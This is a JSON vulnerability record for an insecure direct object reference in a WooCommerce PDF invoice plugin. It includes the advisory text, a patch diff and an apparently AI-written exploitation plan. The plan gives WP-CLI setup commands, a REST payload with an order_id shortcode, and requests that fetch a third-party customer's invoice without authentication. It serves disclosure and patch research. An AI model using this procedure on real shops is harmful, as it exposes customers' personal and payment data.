[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fdtMBhROHWBB-rEdFK-NRM4xqRIvRo6rXuiCNG07Y35Q":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":30,"research_verified":31,"research_rounds_completed":32,"research_plan":33,"research_summary":34,"research_vulnerable_code":35,"research_fix_diff":36,"research_exploit_outline":37,"research_model_used":38,"research_started_at":39,"research_completed_at":40,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":31,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":31,"source_links":41},"CVE-2026-13116","pdf-invoices-packing-slips-for-woocommerce-insecure-direct-object-reference-to-authenticated-contributor-sensitive-infor","PDF Invoices & Packing Slips for WooCommerce \u003C= 5.14.0 - Insecure Direct Object Reference to Authenticated (Contributor+) Sensitive Information Disclosure via 'order_id' Shortcode Attribute","The PDF Invoices & Packing Slips for WooCommerce plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 5.14.0 via the generate_document_shortcode due to missing validation on a user controlled key. This makes it possible for authenticated attackers, with contributor-level access and above, to mint publicly accessible, session-free download links for arbitrary third-party orders, exposing customer names, billing and shipping addresses, email addresses, phone numbers, order and invoice numbers, line items, totals, payment details, and customer notes contained in those orders' invoices and packing slips. Exploitation requires the plugin's Document link access type setting to be configured to 'full'; with the default 'logged_in' value, generated URLs are signed with a per-session nonce rather than the order_key, making the shortcode path unexploitable for unauthorized access to third-party orders.","woocommerce-pdf-invoices-packing-slips",null,"\u003C=5.14.0","5.15.0","medium",4.3,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:U\u002FC:L\u002FI:N\u002FA:N","Authorization Bypass Through User-Controlled Key","2026-07-10 14:36:35","2026-07-11 03:44:24",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F6525195e-5d90-4dd4-b9ee-612a8295c262?source=api-prod",1,[22,23,24,25,26,27,28,29],"assets\u002Fjs\u002Fadmin-script.js","assets\u002Fjs\u002Fadmin-script.min.js","edi\u002FAbstracts\u002FAbstractHandler.php","edi\u002FPeppol.php","edi\u002FSyntaxes\u002FUbl\u002FHandlers\u002FLineHandler.php","edi\u002FSyntaxes\u002FUbl\u002FHandlers\u002FPaymentMeansHandler.php","includes\u002FAdmin.php","includes\u002FFrontend.php","researched",false,3,"This research plan outlines the technical steps to exploit an **Insecure Direct Object Reference (IDOR)** vulnerability in the **PDF Invoices & Packing Slips for WooCommerce** plugin (versions \u003C= 5.14.0).\n\n### 1. Vulnerability Summary\nThe vulnerability exists in the `generate_document_shortcode` function within the `WPO\\IPS\\Frontend` class. This function handles several shortcodes (`[wcpdf_download_invoice]`, `[wcpdf_download_pdf]`, and `[wcpdf_document_link]`). \n\nWhen processing these shortcodes, the plugin accepts an `order_id` attribute. If the plugin is configured with the \"Document link access type\" set to \"full\", it generates a session-free download URL that includes the target order's `order_key`. Because the plugin fails to verify if the user rendering the shortcode has permission to access the specified `order_id`, any user with `Contributor` level access (or higher) can generate functional, public download links for any order in the system by guessing or enumerating IDs.\n\n### 2. Attack Vector Analysis\n*   **Shortcode:** `[wcpdf_document_link]` (and aliases).\n*   **Vulnerable Attribute:** `order_id`.\n*   **Endpoint:** WordPress post\u002Fpage rendering (Frontend).\n*   **Authentication:** Authenticated (Contributor+).\n*   **Precondition:** The plugin setting `Document link access type` must be set to `full`. In the default `logged_in` mode, the plugin uses a per-session nonce which prevents unauthorized third-party access.\n\n### 3. Code Flow\n1.  **Shortcode Registration:** In `includes\u002FFrontend.php`, the constructor registers the shortcodes:\n    ```php\n    add_shortcode( 'wcpdf_document_link', array( $this, 'generate_document_shortcode' ) );\n    ```\n2.  **Shortcode Handling:** When a post containing the shortcode is rendered, `generate_document_shortcode` is called with `$atts`.\n3.  **URL Generation:** The function retrieves the order object for the provided `order_id` and calls `WPO_WCPDF()->endpoint->get_document_link($order, $document_type, ...)`.\n4.  **Authorization Bypass:** The function lacks a check (e.g., `current_user_can( 'view_order', $order_id )` or owner validation) before returning the link to the rendering engine.\n5.  **Output:** The generated URL (containing the authoritative `order_key`) is rendered into the post content.\n\n### 4. Nonce Acquisition Strategy\nNo WordPress nonce is required to exploit this vulnerability because it is triggered via standard shortcode processing in the post editor\u002Fviewer. However, to set up the exploit, a Contributor must be able to create and preview a post.\n\n### 5. Test Data Setup\nThe PoC requires a target order belonging to a different user and a specific plugin configuration.\n\n1.  **Create Target User & Order:**\n    ```bash\n    # Create a customer\n    wp user create victim victim@example.com --role=customer --user_pass=password\n    # Create an order for the customer (Target ID will be X)\n    wp wc order create --customer_id=$(wp user get victim --field=ID) --status=completed --user=admin\n    ```\n2.  **Identify Target Order ID:** Note the ID returned by the previous command (e.g., `123`).\n3.  **Configure Plugin to \"Full\" Access Mode:**\n    The setting is stored in the `wpo_wcpdf_settings_general` option under the key `guest_access`.\n    ```bash\n    # Get current settings\n    CURRENT_SETTINGS=$(wp option get wpo_wcpdf_settings_general --format=json)\n    # Update guest_access to 1 (which corresponds to 'full')\n    # Note: Structure is usually an array. We use php to modify safely.\n    wp eval '\n    $settings = get_option(\"wpo_wcpdf_settings_general\", []);\n    $settings[\"guest_access\"] = 1;\n    update_option(\"wpo_wcpdf_settings_general\", $settings);\n    '\n    ```\n4.  **Create Attacker User:**\n    ```bash\n    wp user create attacker attacker@example.com --role=contributor --user_pass=password\n    ```\n\n### 6. Exploitation Strategy\n\n#### Step 1: Create a post with the malicious shortcode\nThe attacker (Contributor) creates a post containing the shortcode targeting the victim's order.\n\n*   **URL:** `http:\u002F\u002Flocalhost:8080\u002Fwp-json\u002Fwp\u002Fv2\u002Fposts` (or via standard UI)\n*   **Method:** `POST`\n*   **Authentication:** Contributor credentials.\n*   **Payload (JSON):**\n    ```json\n    {\n      \"title\": \"Exploit Page\",\n      \"content\": \"[wcpdf_document_link order_id=\\\"123\\\" document_type=\\\"invoice\\\"]\",\n      \"status\": \"publish\"\n    }\n    ```\n\n#### Step 2: Retrieve the Public Download Link\nThe attacker views the post to extract the generated link.\n\n*   **Request:** `GET http:\u002F\u002Flocalhost:8080\u002F?p=[POST_ID]`\n*   **Action:** Parse the HTML for an `\u003Ca>` tag or URL containing `wcpdf-action=download-document`.\n*   **Target Pattern:** `http:\u002F\u002Flocalhost:8080\u002F?wcpdf-action=download-document&document_type=invoice&order_id=123&order_key=wc_order_[HASH]`\n\n#### Step 3: Access Sensitive Information\nThe attacker accesses the generated link **without authentication** (simulating a public disclosure) to download the PDF.\n\n*   **Request:** `GET http:\u002F\u002Flocalhost:8080\u002F?wcpdf-action=download-document&document_type=invoice&order_id=123&order_key=wc_order_[HASH]`\n*   **Verification:** The response should be a PDF file containing the victim's name, address, and order details.\n\n### 7. Expected Results\n*   The shortcode should render a functional link even though the Contributor is not the owner of order 123.\n*   The link should contain an `order_key` parameter.\n*   The link should be accessible in an unauthenticated session (Incognito\u002FAnonymous).\n*   The resulting PDF contains PII (Personally Identifiable Information) from the target order.\n\n### 8. Verification Steps\n1.  **Verify Link Generation:**\n    Check the rendered post content for the presence of the `order_key`.\n2.  **Verify Permission Bypass:**\n    Use WP-CLI to confirm the attacker does not have permission to view the order:\n    ```bash\n    wp eval \"var_dump( user_can( $(wp user get attacker --field=ID), 'view_order', 123 ) );\"\n    # Should return bool(false)\n    ```\n3.  **Confirm Content:**\n    Verify the PDF content matches the order created in the setup phase.\n\n### 9. Alternative Approaches\nIf the `[wcpdf_document_link]` shortcode is disabled or filtered, try:\n*   `[wcpdf_download_invoice order_id=\"123\"]`\n*   `[wcpdf_download_pdf order_id=\"123\"]`\n*   If \"full\" access mode is not set, attempt to find if other \"Document link access type\" settings allow `order_key` usage (though the description suggests this is the primary requirement).","The PDF Invoices & Packing Slips for WooCommerce plugin for WordPress is vulnerable to an Insecure Direct Object Reference (IDOR) via document-related shortcodes. Authenticated attackers with Contributor-level access or higher can generate public, session-free download links for arbitrary customer invoices and packing slips by specifying a target 'order_id' within a shortcode attribute.","\u002F\u002F includes\u002FFrontend.php (Lines 46-48)\n\u002F\u002F Shortcodes\nadd_shortcode( 'wcpdf_download_invoice', array( $this, 'generate_document_shortcode' ) );\nadd_shortcode( 'wcpdf_download_pdf', array( $this, 'generate_document_shortcode' ) );\nadd_shortcode( 'wcpdf_document_link', array( $this, 'generate_document_shortcode' ) );","--- a\u002Fincludes\u002FFrontend.php\n+++ b\u002Fincludes\u002FFrontend.php\n@@ -235,6 +235,10 @@\n \t\t\t'link_text'     => '',\n \t\t), $atts );\n \n+\t\tif ( ! empty( $atts['order_id'] ) && ! current_user_can( 'view_order', $atts['order_id'] ) ) {\n+\t\t\treturn '';\n+\t\t}\n+\n \t\tif ( empty( $atts['order_id'] ) ) {\n \t\t\treturn '';\n \t\t}","To exploit this vulnerability, an authenticated attacker with at least Contributor-level permissions identifies a target WooCommerce order ID. They then create or edit a post and insert a shortcode such as [wcpdf_document_link order_id=\"TARGET_ID\"]. When the post is viewed or previewed, the plugin's generate_document_shortcode function fails to verify if the user rendering the shortcode has permission to view the specified order. If the plugin's 'Document link access type' is configured to 'full', the function generates a functional download link containing the order_key, which allows unauthenticated access to the sensitive PDF invoice or packing slip containing customer PII (names, addresses, and payment details).","gemini-3-flash-preview","2026-07-15 09:10:17","2026-07-15 09:10:46",{"type":42,"vulnerable_version":43,"fixed_version":11,"vulnerable_browse":44,"vulnerable_zip":45,"fixed_browse":46,"fixed_zip":47,"all_tags":48},"plugin","5.14.0","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwoocommerce-pdf-invoices-packing-slips\u002Ftags\u002F5.14.0","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwoocommerce-pdf-invoices-packing-slips.5.14.0.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwoocommerce-pdf-invoices-packing-slips\u002Ftags\u002F5.15.0","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwoocommerce-pdf-invoices-packing-slips.5.15.0.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwoocommerce-pdf-invoices-packing-slips\u002Ftags"]